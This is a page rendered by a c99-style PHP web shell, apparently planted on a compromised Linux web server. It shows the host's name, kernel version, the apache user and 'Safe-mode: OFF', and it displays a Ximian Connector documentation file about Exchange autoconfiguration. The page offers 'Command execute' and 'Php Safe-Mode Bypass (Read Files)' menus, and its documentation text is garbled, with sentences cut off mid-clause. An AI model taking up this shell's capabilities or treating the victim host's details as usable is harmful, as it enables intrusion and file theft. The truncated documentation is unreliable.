Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/ximian-connector/ drwxr-xr-x |
Viewing file: ximian-connector-autoconfig.html (14.62 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Because Exchange wasn't really designed for what Connector tries to do with it, there are a lot of different configuration possibilities that Connector needs to deal with. Autoconfiguration attempts to figure all of these out automatically so that the user doesn't need to enter in any more information than is absolutely necessary. The Initial WebDAV ConnectionTo start things off, the user must provide three pieces of information: an OWA URL, a username, and a password. The OWA URL is used because it encodes several important pieces of information, and the user should already know what it is (and if not, it should be easy for them to find out by asking someone).
If the provided URL doesn't start with "
Using that, Connector tries to log in to OWA and fetch the HTML data. There are various results possible:
Further WebDAV Probes
At this point, we should have the HTML of the
OWA frame. (If we used NTLM authentication,
we may also have managed to extract the NT and Windows
2000 domain names from the NTLM challenge, which may be
needed later.) We extract the
The next thing we do is find the name of the server to use to access
public folders, by finding the "Public Folders" link in
OWA. This is in a different location in
Exchange 2000 and Exchange
2003, but hopefully we know which one we are talking at
this point, from looking at the "
Then we do a BPROPFIND on the top level of the
mailbox to find the The use of BPROPFIND here is also for autodetection purposes: if it fails, we return an error to the user explaining about the IIS Lockdown BPROPFIND problem. Another possibility is that we will get an authentication error here even though we had successfully authenticated before. This can happen if we are using NTLM authentication, and the user's HTTP traffic is being intercepted by a transparent web proxy that doesn't understand NTLM (for reasons explained in the NTLM notes). So if this happens, we start over using Basic authentication instead. The Global Catalog Server
At the moment, we can only autodetect the Global Catalog server if we
are using NTLM authentication and managed to autodetect the
Windows 2000 domain name before. In that
case, we do a DNS query for a service (
There are other possibilities we should try if we don't have the
domain name though: in almost all cases, the
Exchange server hostname will be
" Given a connection to the Global Catalog, we use the Exchange 5.5 DN detected earlier to find the user and look up their full name and email address, and autodetection is complete. Autoconfiguration HintsIt is possible for a system administrator to provide hints to the autoconfig process, to make things easier on users. This is done by creating a configuration file, which presumably would be installed along with the Connector binary on each machine.
The configuration file can be stored in
OWA-URL: https://exchange.rupertcorp.com/exchange/ Disable-Plaintext: true The available hints are:
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0091 ]-- |